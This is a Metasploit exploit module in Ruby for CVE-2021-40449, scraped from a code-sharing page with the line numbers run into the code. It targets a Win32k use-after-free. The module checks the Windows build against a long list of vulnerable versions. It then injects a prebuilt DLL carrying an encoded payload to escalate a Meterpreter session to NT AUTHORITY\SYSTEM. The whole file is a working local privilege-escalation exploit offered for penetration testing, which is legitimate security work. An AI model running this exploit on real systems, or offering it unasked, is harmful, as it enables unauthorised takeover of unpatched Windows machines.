Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/cve_2021_40449.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Post::File9include Msf::Post::Windows::Priv10include Msf::Post::Windows::Version11include Msf::Post::Windows::Process12include Msf::Post::Windows::ReflectiveDLLInjection13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19{20'Name' => 'Win32k NtGdiResetDC Use After Free Local Privilege Elevation',21'Description' => %q{22A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by23an attacker to escalate privileges to those of `NT AUTHORITY\SYSTEM`. The flaw exists due to the fact24that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers25can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object26that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle27with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the28attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the29kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\SYSTEM.3031This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions32of Windows 10 will likely also work.33},34'License' => MSF_LICENSE,35'Author' => [36'IronHusky', # APT Group who exploited this in the wild37'Costin Raiu', # Initial reporting on bug at SecureList38'Boris Larin', # Initial reporting on bug at SecureList39"Red Raindrop Team of Qi'anxin Threat Intelligence Center", # detailed analysis report in Chinese showing how to replicate the vulnerability40'KaLendsi', # First Public POC targeting Windows 10 build 14393 only, later added support for 1776341'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC used for this module.42'Grant Willcox' # metasploit module43],44'Arch' => [ ARCH_X64 ],45'Platform' => 'win',46'SessionTypes' => [ 'meterpreter' ],47'DefaultOptions' => {48'EXITFUNC' => 'thread'49},50'Targets' => [51[ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', { 'Arch' => ARCH_X64 } ]52],53'Payload' => {54'DisableNops' => true55},56'References' => [57[ 'CVE', '2021-40449' ],58[ 'URL', 'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/' ], # Initial report of in the wild exploitation59[ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], # Detailed writeup60[ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], # First public PoC61[ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC this module uses for exploitation.62],63'DisclosureDate' => '2021-10-12',64'DefaultTarget' => 0,65'Notes' => {66'Stability' => [ CRASH_OS_RESTARTS, ],67'Reliability' => [ REPEATABLE_SESSION, ],68'SideEffects' => []69}70}71)72)73end7475def check76if session.platform != 'windows'77# Non-Windows systems are definitely not affected.78return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')79end8081version = get_version_info82unless version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Win10_21H1) ||83version.build_number == Msf::WindowsVersion::Server2022 ||84version.build_number == Msf::WindowsVersion::Win11_21H285return CheckCode::Safe('Target is not running a vulnerable version of Windows!')86end8788# Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/89if version.build_number == Msf::WindowsVersion::Win11_21H2 && version.revision_number.between?(0, 257)90return CheckCode::Appears('Vulnerable Windows 11 build detected!')91elsif version.build_number == Msf::WindowsVersion::Server2022 && version.revision_number.between?(0, 287)92return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')93elsif version.build_number == Msf::WindowsVersion::Win10_21H2 && version.revision_number.between?(0, 1318)94return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')95elsif version.build_number == Msf::WindowsVersion::Win10_21H1 && version.revision_number.between?(0, 1287)96return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')97elsif version.build_number == Msf::WindowsVersion::Win10_20H2 && version.revision_number.between?(0, 1287)98return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')99elsif version.build_number == Msf::WindowsVersion::Win10_2004 && version.revision_number.between?(0, 1287)100return CheckCode::Appears('Vulnerable Windows 10 20H1 build detected!')101elsif version.build_number == Msf::WindowsVersion::Win10_1909 && version.revision_number.between?(0, 1853)102return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')103elsif version.build_number == Msf::WindowsVersion::Win10_1903104return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')105elsif version.build_number == Msf::WindowsVersion::Win10_1809 && version.revision_number.between?(0, 2236)106return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')107elsif version.build_number == Msf::WindowsVersion::Win10_1803108return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')109elsif version.build_number == Msf::WindowsVersion::Win10_1709110return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')111elsif version.build_number == Msf::WindowsVersion::Win10_1703112return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')113elsif version.build_number == Msf::WindowsVersion::Win10_1607 && version.revision_number.between?(0, 4703)114return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')115elsif version.build_number == Msf::WindowsVersion::Win10_1511116return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')117elsif version.build_number == Msf::WindowsVersion::Win10_1507 && version.revision_number.between?(0, 19085)118return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')119elsif version.build_number == Msf::WindowsVersion::Win81 # Includes Server 2012 R2120return CheckCode::Detected('Windows 8.1/Windows Server 2012 R2 build detected!')121elsif version.build_number == Msf::WindowsVersion::Win8 # Includes Server 2012122return CheckCode::Detected('Windows 8/Windows Server 2012 build detected!')123elsif version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) # Includes Server 2008 R2124return CheckCode::Detected('Windows 7/Windows Server 2008 R2 build detected!')125elsif version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2008_SP2_Update)126return CheckCode::Detected('Windows Server 2008/Windows Server 2008 SP2 build detected!')127else128return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')129end130end131132def exploit133if is_system?134fail_with(Failure::None, 'Session is already elevated')135end136137if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86138fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')139elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86140fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')141elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64142fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')143end144145encoded_payload = payload.encoded146execute_dll(147::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40449', 'CVE-2021-40449.x64.dll'),148[encoded_payload.length].pack('I<') + encoded_payload149)150151print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')152end153end154155156